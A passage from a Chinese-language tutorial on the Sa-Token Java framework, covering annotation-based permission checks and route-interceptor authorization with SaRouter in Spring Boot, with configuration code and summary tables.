Token</td></tr><tr><td><code>/permission/adminOnly</code></td><td>✅ 200</td><td>❌ 403 缺少角色 admin</td><td>❌ 401</td></tr><tr><td><code>/permission/adminOrUser</code></td><td>✅ 200</td><td>✅ 200</td><td>❌ 401</td></tr><tr><td><code>/permission/canAddUser</code></td><td>✅ 200</td><td>❌ 403 缺少权限 user:add</td><td>❌ 401</td></tr><tr><td><code>/permission/canAddAndDeleteUser</code></td><td>✅ 200</td><td>❌ 403 缺少权限 user:add</td><td>❌ 401</td></tr><tr><td><code>/permission/canAddOrDeleteUser</code></td><td>✅ 200</td><td>❌ 403 缺少权限 user:add</td><td>❌ 401</td></tr><tr><td><code>/permission/deleteOrAdmin</code></td><td>✅ 200</td><td>❌ 403 缺少权限 user:delete</td><td>❌ 401</td></tr><tr><td><code>/permission/adminOrCanDelete</code></td><td>✅ 200</td><td>❌ 403 缺少角色 admin</td><td>❌ 401</td></tr></tbody></table><p>矩阵中有一个值得关注的细节：<code>/permission/adminOrUser</code> 对 <code>user</code> 账号是放行的——因为注解配置了 <code>mode = SaMode.OR</code>，<code>user</code> 账号虽然没有 <code>admin</code> 角色，但有 <code>user</code> 角色，满足 OR 条件中的一个，所以通过。</p><hr><h2 id="2-8-本章总结">2.8. 本章总结</h2><p><strong>本章回顾</strong></p><p>本章完成了注解鉴权体系的完整建设。首先注册了 <code>SaInterceptor</code> 拦截器——这是注解鉴权生效的前置条件，不注册则所有鉴权注解形同虚设。随后在 <code>GlobalExceptionHandler</code> 中追加了 <code>NotPermissionException</code> 和 <code>NotRoleException</code> 两个处理方法，配合已有的 <code>NotLoginException</code> 处理，构成了完整的认证授权异常响应体系，并明确了 401（未认证）与 403（已认证但权限不足）的语义边界。在注解覆盖层面，系统梳理了 Sa-Token 全部 8 种鉴权注解的用法，并重点讲解了 <code>@SaCheckPermission</code> 的 <code>orRole</code> 三种写法、多注解叠加等于 AND 关系的原理、以及 <code>@SaCheckOr</code> 的完整用法（单值、数组形式、<code>append</code> 字段）。最后通过双账号对比测试矩阵验证了权限隔离在实际请求中的完整表现。</p><p><strong>核心汇总表</strong></p><table><thead><tr><th>注解</th><th>校验内容</th><th>AND/OR 支持</th><th>典型场景</th></tr></thead><tbody><tr><td><code>@SaCheckLogin</code></td><td>是否已登录</td><td>无</td><td>所有登录用户可访问的接口</td></tr><tr><td><code>@SaCheckRole</code></td><td>是否拥有指定角色</td><td>支持，默认 AND</td><td>角色专属功能</td></tr><tr><td><code>@SaCheckPermission</code></td><td>是否拥有指定权限码</td><td>支持，默认 AND</td><td>接口级细粒度权限控制</td></tr><tr><td><code>@SaCheckSafe</code></td><td>是否已完成二级认证</td><td>无</td><td>高危操作的额外验证门槛</td></tr><tr><td><code>@SaCheckDisable</code></td><td>指定服务是否被封禁</td><td>多值时任一封禁即拦截</td><td>分类封禁场景</td></tr><tr><td><code>@SaCheckHttpBasic</code></td><td>HTTP Basic 认证</td><td>无</td><td>内部 API / 运维接口</td></tr><tr><td><code>@SaCheckHttpDigest</code></td><td>HTTP Digest 认证</td><td>无</td><td>内部 API / 运维接口</td></tr><tr><td><code>@SaCheckSign</code></td><td>API 签名校验</td><td>无</td><td>跨系统接口调用</td></tr><tr><td><code>@SaIgnore</code></td><td>忽略所有校验</td><td>最高优先级</td><td>公开接口豁免</td></tr></tbody></table><table><thead><tr><th><code>orRole</code> 写法</th><th>示例</th><th>语义</th></tr></thead><tbody><tr><td>单角色</td><td><code>orRole = &quot;admin&quot;</code></td><td>权限码 OR admin 角色</td></tr><tr><td>数组多元素（OR）</td><td><code>orRole = &#123;&quot;admin&quot;, &quot;editor&quot;&#125;</code></td><td>权限码 OR（admin 或 editor）</td></tr><tr><td>数组单元素内逗号（AND）</td><td><code>orRole = &#123;&quot;admin, editor&quot;&#125;</code></td><td>权限码 OR（admin 且 editor）</td></tr></tbody></table><table><thead><tr><th>异常类型</th><th>状态码</th><th>触发场景</th></tr></thead><tbody><tr><td><code>NotLoginException</code></td><td>401</td><td>未登录或 Token 失效</td></tr><tr><td><code>NotPermissionException</code></td><td>403</td><td>缺少所需权限码</td></tr><tr><td><code>NotRoleException</code></td><td>403</td><td>缺少所需角色</td></tr></tbody></table><table><thead><tr><th>多注解组合规则</th><th>语义</th><th>实现方式</th></tr></thead><tbody><tr><td>多注解叠加</td><td>AND（全部满足）</td><td>在方法上写多个注解</td></tr><tr><td>OR 关系</td><td>满足其一即可</td><td><code>@SaCheckOr</code> 或 <code>mode = SaMode.OR</code></td></tr></tbody></table><h1>第三章. 路由拦截鉴权——集中式的批量管控</h1><p><strong>阶段式学习路径</strong></p><p>第二章的注解鉴权是方法级的——每个接口单独声明权限要求，粒度精确，但有一个天然的局限：它是分散的。如果一个模块下有几十个接口都需要登录，就得在几十个方法上逐一加 <code>@SaCheckLogin</code>，不仅繁琐，而且一旦漏加某个方法，那个接口就完全暴露了。</p><p>路由拦截鉴权解决的是这个问题。在拦截器的配置中集中表达&quot;哪些路径需要什么权限&quot;，一处配置批量生效，再也不用担心漏加注解。本章从 <code>SaInterceptor</code> 的有参写法切入，系统覆盖 <code>SaRouter</code> 的全部匹配特征和流程控制手段。</p><hr><h2 id="3-1-从无参到有参：SaInterceptor-的两种工作模式">3.1. 从无参到有参：SaInterceptor 的两种工作模式</h2><p>回顾第二章注册的 <code>SaTokenConfig</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">SaInterceptor</span>())</span><br><span class="line">        .addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br></pre></td></tr></table></figure><p><code>new SaInterceptor()</code> 不传参数时，拦截器处于<strong>纯注解模式</strong>——扫描每个请求对应的 Controller 方法，有鉴权注解就执行校验，没有就直接放行。未加注解的接口对未登录用户完全开放。</p><p><code>new SaInterceptor(handle -&gt; &#123; ... &#125;)</code> 传入一个 Lambda 时，拦截器进入<strong>路由规则模式</strong>——在 Lambda 中用 <code>SaRouter</code> 工具类按路径批量声明访问策略。两种模式并不互斥：<strong>有参版本会同时执行路由规则和注解鉴权</strong>，路由规则先执行，注解鉴权后执行。</p><p>现在把 <code>SaTokenConfig</code> 升级为有参版本：</p><p>📄 <code>src/main/java/com/example/authsatoken/config/SaTokenConfig.java</code>（修改，替换 <code>addInterceptors</code> 方法）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.config;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.interceptor.SaInterceptor;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.router.SaRouter;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.StpUtil;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.config.annotation.InterceptorRegistry;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.config.annotation.WebMvcConfigurer;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Sa-Token 拦截器配置（升级版）</span></span><br><span class="line"><span class="comment"> * 在第二章无参版本的基础上，增加路由级别的访问策略</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SaTokenConfig</span> <span class="keyword">implements</span> <span class="title class_">WebMvcConfigurer</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addInterceptors</span><span class="params">(InterceptorRegistry registry)</span> &#123;</span><br><span class="line">        registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">SaInterceptor</span>(handle -&gt; &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// ---- 规则一：全局登录校验 ----</span></span><br><span class="line">            <span class="comment">// 拦截所有路径，但排除登录接口</span></span><br><span class="line">            <span class="comment">// 效果：除了 /auth/login，其余所有接口都必须登录才能访问</span></span><br><span class="line">            SaRouter.match(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">                    .notMatch(<span class="string">&quot;/auth/login&quot;</span>)</span><br><span class="line">                    .check(r -&gt; StpUtil.checkLogin());</span><br><span class="line"></span><br><span class="line">            <span class="comment">// ---- 规则二：管理员模块角色校验 ----</span></span><br><span class="line">            <span class="comment">// /admin/** 下的所有接口，额外要求 admin 角色</span></span><br><span class="line">            <span class="comment">// 请求会先通过规则一的登录校验，再通过规则二的角色校验，两者是 AND 关系</span></span><br><span class="line">            SaRouter.match(<span class="string">&quot;/admin/**&quot;</span>)</span><br><span class="line">                    .check(r -&gt; StpUtil.checkRole(<span class="string">&quot;admin&quot;</span>));</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ⚠️ 必须用 excludePathPatterns(&quot;/error&quot;) 排除 /error 路径</span></span><br><span class="line">        <span class="comment">// 原因：Spring Boot 发生异常时，Tomcat 会将请求内部 forward 转发到 /error 端点。</span></span><br><span class="line">        <span class="comment">// 但此次 forward 是在 Sa-Token 的 ThreadLocal 上下文已销毁之后发生的，</span></span><br><span class="line">        <span class="comment">// 导致 SaInterceptor.preHandle() 被再次触发，SaRouter.match() 内部调用</span></span><br><span class="line">        <span class="comment">// SaHolder.getRequest() 时找不到上下文，抛出 SaTokenContextException。</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// ❌ 错误做法：在 Lambda 内部使用 .notMatch(&quot;/error&quot;)</span></span><br><span class="line">        <span class="comment">//    SaRouter.match(&quot;/**&quot;) 这行本身就需要获取当前请求的 URI，</span></span><br><span class="line">        <span class="comment">//    还没执行到 notMatch 判断，就已经因上下文不存在而崩溃了。</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// ✅ 正确做法：使用 Spring MVC 的 excludePathPatterns(&quot;/error&quot;)</span></span><br><span class="line">        <span class="comment">//    这样 /error 请求在 Spring MVC 层面就被排除，</span></span><br><span class="line">        <span class="comment">//    SaInterceptor 的 preHandle() 根本不会被调用，彻底规避问题。</span></span><br><span class="line">        &#125;)).addPathPatterns(<span class="string">&quot;/**&quot;</span>).excludePathPatterns(<span class="string">&quot;/error&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>两条规则解决了两个最典型的全局诉求：规则一让&quot;所有接口必须登录&quot;这个要求集中到一处，不再散落在几十个注解里；规则二给 <code>/admin/**</code> 整个模块追加了角色防护，无论后续管理模块新增多少接口，这条规则自动覆盖。</p><hr><h2 id="3-2-SaRouter-匹配特征全览">3.2. SaRouter 匹配特征全览</h2><p><code>SaRouter</code> 的 API 设计成链式调用风格，<code>match</code> 指定拦截范围，<code>notMatch</code> 排除白名单，<code>check</code> 指定校验逻辑。除了 path 路由匹配，它还支持多种其他特征：</p><h3 id="path-路由匹配">path 路由匹配</h3><p>最常用的匹配方式，支持 Ant 风格通配符（<code>*</code> 匹配单层，<code>**</code> 匹配多层），支持 RESTful 风格路由，支持同时传入多个 path：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 匹配单个路径</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/user/info&quot;</span>).check(r -&gt; StpUtil.checkLogin());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 多层通配符，匹配整个模块</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/admin/**&quot;</span>).check(r -&gt; StpUtil.checkRole(<span class="string">&quot;admin&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 同时传入多个 path，满足其一即命中</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/user/**&quot;</span>, <span class="string">&quot;/goods/**&quot;</span>, <span class="string">&quot;/art/get/&#123;id&#125;&quot;</span>)</span><br><span class="line">        .check(r -&gt; StpUtil.checkLogin());</span><br><span class="line"></span><br><span class="line"><span class="comment">// notMatch 排除白名单，支持多个路径，支持通配符</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/**&quot;</span>)</span><br><span class="line">        .notMatch(<span class="string">&quot;/auth/login&quot;</span>, <span class="string">&quot;/auth/register&quot;</span>, <span class="string">&quot;/public/**&quot;</span>)</span><br><span class="line">        .check(r -&gt; StpUtil.checkLogin());</span><br></pre></td></tr></table></figure><h3 id="按-HTTP-方法匹配">按 HTTP 方法匹配</h3><p>在 RESTful 接口设计中，同一路径的不同 HTTP 方法往往需要不同的权限。<code>SaHttpMethod</code> 枚举提供了所有常用方法：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 只拦截 POST 请求</span></span><br><span class="line">SaRouter.match(SaHttpMethod.POST).check(r -&gt; StpUtil.checkLogin());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 同一路径，不同 HTTP 方法，不同权限要求</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/article/**&quot;</span>, SaHttpMethod.POST)</span><br><span class="line">        .check(r -&gt; StpUtil.checkPermission(<span class="string">&quot;article:add&quot;</span>));</span><br><span class="line"></span><br><span class="line">SaRouter.match(<span class="string">&quot;/article/**&quot;</span>, SaHttpMethod.DELETE)</span><br><span class="line">        .check(r -&gt; StpUtil.checkPermission(<span class="string">&quot;article:delete&quot;</span>));</span><br></pre></td></tr></table></figure><h3 id="按-boolean-条件和-lambda-表达式匹配">按 boolean 条件和 lambda 表达式匹配</h3><p>匹配条件不局限于路径，可以是任意 boolean 值或返回 boolean 的 lambda：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 根据一个 boolean 条件进行匹配</span></span><br><span class="line">SaRouter.match(StpUtil.isLogin()).check(r -&gt; System.out.println(<span class="string">&quot;当前已登录&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 根据一个返回 boolean 结果的 lambda 表达式匹配</span></span><br><span class="line">SaRouter.match(r -&gt; StpUtil.isLogin()).check(r -&gt; System.out.println(<span class="string">&quot;当前已登录（lambda 写法）&quot;</span>));</span><br></pre></td></tr></table></figure><h3 id="多条件无限连缀">多条件无限连缀</h3><p>多个 <code>match</code> / <code>notMatch</code> 可以无限连缀，所有条件之间是 <strong>AND 关系</strong>——只有全部条件都满足，才会执行最后的 <code>check</code> 校验函数：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 必须是 GET 请求，且路径以 /user/ 开头</span></span><br><span class="line">SaRouter.match(SaHttpMethod.GET)</span><br><span class="line">        .match(<span class="string">&quot;/user/**&quot;</span>)</span><br><span class="line">        .check(r -&gt; StpUtil.checkLogin());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 同时满足：GET 方式、/admin 开头、路径中含有 /send/、结尾不是 .js 和 .css</span></span><br><span class="line">SaRouter</span><br><span class="line">    .match(SaHttpMethod.GET)</span><br><span class="line">    .match(<span class="string">&quot;/admin/**&quot;</span>)</span><br><span class="line">    .match(<span class="string">&quot;/**/send/**&quot;</span>)</span><br><span class="line">    .notMatch(<span class="string">&quot;/**/*.js&quot;</span>)</span><br><span class="line">    .notMatch(<span class="string">&quot;/**/*.css&quot;</span>)</span><br><span class="line">    .check(r -&gt; StpUtil.checkRole(<span class="string">&quot;admin&quot;</span>));</span><br></pre></td></tr></table></figure><hr><h2 id="3-3-流程控制三件套：stop、back、free">3.3. 流程控制三件套：stop、back、free</h2><p>除了匹配和校验，<code>SaRouter</code> 还提供了三个用于控制匹配流程的方法，解决&quot;某条规则命中后不再继续匹配&quot;的需求。</p><h3 id="stop-：停止匹配，进入-Controller">stop()：停止匹配，进入 Controller</h3><p><code>SaRouter.stop()</code> 可以提前退出整个 Lambda 函数，跳过后续所有未执行的 match 规则：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">SaInterceptor</span>(handle -&gt; &#123;</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/**&quot;</span>).check(r -&gt; System.out.println(<span class="string">&quot;规则一：进入&quot;</span>));</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/**&quot;</span>).check(r -&gt; System.out.println(<span class="string">&quot;规则二：进入&quot;</span>)).stop(); <span class="comment">// 执行完后停止</span></span><br><span class="line">    SaRouter.match(<span class="string">&quot;/**&quot;</span>).check(r -&gt; System.out.println(<span class="string">&quot;规则三：不会执行&quot;</span>));</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/**&quot;</span>).check(r -&gt; System.out.println(<span class="string">&quot;规则四：不会执行&quot;</span>));</span><br><span class="line">&#125;)).addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br></pre></td></tr></table></figure><p>如上代码，执行到第二条规则的 <code>stop()</code> 时，后续的规则三、四都会被跳过，请求正常进入 Controller。</p><h3 id="back-：停止匹配，直接返回前端">back()：停止匹配，直接返回前端</h3><p><code>SaRouter.back()</code> 同样会停止匹配，但不进入 Controller，而是<strong>直接将参数作为返回值输出到前端</strong>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 执行 back 后，停止匹配，不进入 Controller，直接返回字符串给前端</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/user/back&quot;</span>).back(<span class="string">&quot;该接口暂时不对外开放&quot;</span>);</span><br></pre></td></tr></table></figure><p><code>stop()</code> 与 <code>back()</code> 的区别：</p><table><thead><tr><th></th><th><code>stop()</code></th><th><code>back()</code></th></tr></thead><tbody><tr><td>停止匹配</td><td>✅</td><td>✅</td></tr><tr><td>进入 Controller</td><td>✅</td><td>❌</td></tr><tr><td>直接返回前端</td><td>❌</td><td>✅</td></tr></tbody></table><h3 id="free-：独立作用域">free()：独立作用域</h3><p><code>free()</code> 打开一个独立的作用域，使内部的 <code>stop()</code> 不再跳出整个 Lambda，而是<strong>仅仅跳出当前 free 作用域</strong>，外部的 match 规则继续正常执行：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 进入 free 独立作用域</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/**&quot;</span>).free(r -&gt; &#123;</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/a/**&quot;</span>).check(<span class="comment">/* 校验 a 模块 */</span>);</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/b/**&quot;</span>).check(<span class="comment">/* 校验 b 模块 */</span>).stop(); <span class="comment">// 只跳出 free，不影响外部</span></span><br><span class="line">    SaRouter.match(<span class="string">&quot;/c/**&quot;</span>).check(<span class="comment">/* 校验 c 模块 */</span>);       <span class="comment">// 如果命中 /b，这条不会执行</span></span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// free 执行完毕后，外部的规则继续执行，不受 free 内部 stop 的影响</span></span><br><span class="line">SaRouter.match(<span class="string">&quot;/**&quot;</span>).check(r -&gt; System.out.println(<span class="string">&quot;外部规则，始终执行&quot;</span>));</span><br></pre></td></tr></table></figure><p><code>free()</code> 适合&quot;某个模块内部有复杂的互斥规则，但不希望影响模块外部的其他规则&quot;的场景。</p><hr><h2 id="3-4-SaIgnore-忽略路由拦截">3.4. <code>@SaIgnore</code> 忽略路由拦截</h2><p>第二章介绍 <code>@SaIgnore</code> 时提到它同样可以忽略路由拦截器的规则。这意味着即使拦截器配置了&quot;所有路径必须登录&quot;，只要方法或类上加了 <code>@SaIgnore</code>，该接口就会跳过拦截器的校验，直接放行。</p><p>先配置拦截规则：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">SaInterceptor</span>(handle -&gt; &#123;</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/user/**&quot;</span>).check(r -&gt; StpUtil.checkPermission(<span class="string">&quot;user&quot;</span>));</span><br><span class="line">    SaRouter.match(<span class="string">&quot;/admin/**&quot;</span>).check(r -&gt; StpUtil.checkPermission(<span class="string">&quot;admin&quot;</span>));</span><br><span class="line">&#125;)).addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br></pre></td></tr></table></figure><p>然后在需要豁免的接口上加 <code>@SaIgnore</code>：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 虽然 /user/** 规则要求 user 权限，但此接口因 @SaIgnore 直接放行，游客可访问</span></span><br><span class="line"><span class="meta">@SaIgnore</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/user/getList&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">getList</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;游客可访问的列表&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>请求到达被 <code>@SaIgnore</code> 修饰的方法时，拦截器会跳过所有 <code>SaRouter</code> 规则和注解鉴权，直接进入方法体。</p><div class="note warning simple"><p><code>@SaIgnore</code> 的忽略效果只针对 <code>SaInterceptor</code> 拦截器和 AOP 注解鉴权生效，对自定义拦截器与过滤器不生效。</p></div><hr><h2 id="3-5-高级配置：isAnnotation-与-setBeforeAuth">3.5. 高级配置：isAnnotation 与 setBeforeAuth</h2><h3 id="isAnnotation-false-：关闭注解校验能力">isAnnotation(false)：关闭注解校验能力</h3><p><code>SaInterceptor</code> 注册到项目后，默认<strong>同时开启路由规则和注解鉴权</strong>两种能力。如果你只想做路由拦截，不希望框架扫描方法上的鉴权注解，可以通过 <code>isAnnotation(false)</code> 关闭注解校验：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">registry.addInterceptor(</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">SaInterceptor</span>(handle -&gt; &#123;</span><br><span class="line">        SaRouter.match(<span class="string">&quot;/**&quot;</span>).check(r -&gt; StpUtil.checkLogin());</span><br><span class="line">    &#125;).isAnnotation(<span class="literal">false</span>)  <span class="comment">// 关闭注解鉴权，只做路由拦截校验</span></span><br><span class="line">).addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br></pre></td></tr></table></figure><p>关闭后，Controller 方法上的 <code>@SaCheckLogin@SaCheckRole</code> 等注解将全部失效，框架只执行 Lambda 中配置的路由规则。</p><h3 id="setBeforeAuth-：认证前置函数">setBeforeAuth()：认证前置函数</h3><p><code>setBeforeAuth()</code> 用于注册一个在注解鉴权<strong>之前</strong>执行的前置函数，适合需要在正式鉴权之前做一些预处理的场景（如记录请求日志、设置请求上下文等）：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">SaInterceptor</span>(handle -&gt; &#123;</span><br><span class="line">    <span class="comment">// 这里是 auth 函数，在注解鉴权之后执行</span></span><br><span class="line">    System.out.println(<span class="string">&quot;步骤 2：auth 函数&quot;</span>);</span><br><span class="line">&#125;)</span><br><span class="line">.setBeforeAuth(handle -&gt; &#123;</span><br><span class="line">    <span class="comment">// 这里是 beforeAuth 函数，在注解鉴权之前执行</span></span><br><span class="line">    System.out.println(<span class="string">&quot;步骤 1：beforeAuth 函数&quot;</span>);</span><br><span class="line">&#125;)</span><br><span class="line">).addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br></pre></td></tr></table></figure><p>实际执行顺序是：<strong>beforeAuth → 注解鉴权 → auth（Lambda 中的路由规则）</strong>。</p><p>如果在 <code>beforeAuth</code> 中调用了 <code>SaRouter.stop()</code>，将跳过后续的注解鉴权和 auth 认证环节，直接进入 Controller：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.setBeforeAuth(handle -&gt; &#123;</span><br><span class="line">    <span class="comment">// 满足某个条件时，跳过所有鉴权，直接放行</span></span><br><span class="line">    SaRouter.match(<span class="string">&quot;/health&quot;</span>).stop();</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><hr><h2 id="3-6-路由拦截-vs-注解鉴权：执行顺序与职责分工">3.6. 路由拦截 vs 注解鉴权：执行顺序与职责分工</h2><p>现在项目中同时存在两种鉴权方式，理解它们的执行顺序对排查问题非常重要。</p><p>一个请求进入后，完整的执行顺序是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">beforeAuth 前置函数 → 注解鉴权 → auth 路由规则 → Controller 方法 → 编程式鉴权（第四章）</span><br></pre></td></tr></table></figure><p>前两者都在请求到达方法之前执行，只要任意一关没通过，请求就会被拒绝，不会继续往后走。</p><p>两种方式各有清晰的职责边界：</p><table><thead><tr><th>维度</th><th>路由拦截鉴权</th><th>注解鉴权</th></tr></thead><tbody><tr><td>配置位置</td><td>集中在 <code>SaTokenConfig</code></td><td>分散在每个 Controller 方法上</td></tr><tr><td>粒度</td><td>路径模块级（批量）</td><td>方法级（单个接口）</td></tr><tr><td>典型场景</td><td>“所有接口必须登录”、“整个管理模块需要 admin 角色”</td><td>“这个接口需要 user:delete 权限”</td></tr><tr><td>遗漏风险</td><td>低，默认拦截所有匹配路径</td><td>较高，漏加注解就没有校验</td></tr><tr><td>改动影响范围</td><td>一处规则影响一批接口</td><td>一个注解只影响一个方法</td></tr></tbody></table><p>最佳实践是两者配合：<strong>路由拦截负责粗粒度的全局策略作为底线兜底，注解鉴权负责细粒度的接口级声明</strong>。以我们当前项目为例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">路由拦截（SaTokenConfig）：</span><br><span class="line">  - 所有接口必须登录（排除 /auth/login）</span><br><span class="line">  - /admin/** 需要 admin 角色</span><br><span class="line"></span><br><span class="line">注解鉴权（PermissionController 上的注解）：</span><br><span class="line">  - /permission/canAddUser 需要 user:add 权限</span><br><span class="line">  - /permission/adminOrCanDelete 需要 admin 角色或 user:delete 权限</span><br><span class="line">  - ...</span><br></pre></td></tr></table></figure><p>这样即使某个开发者在新增接口时忘记加权限注解，路由拦截的登录校验依然兜底——至少保证未登录用户无法访问任何接口。</p><hr><h2 id="3-7-验证路由拦截效果">3.7. 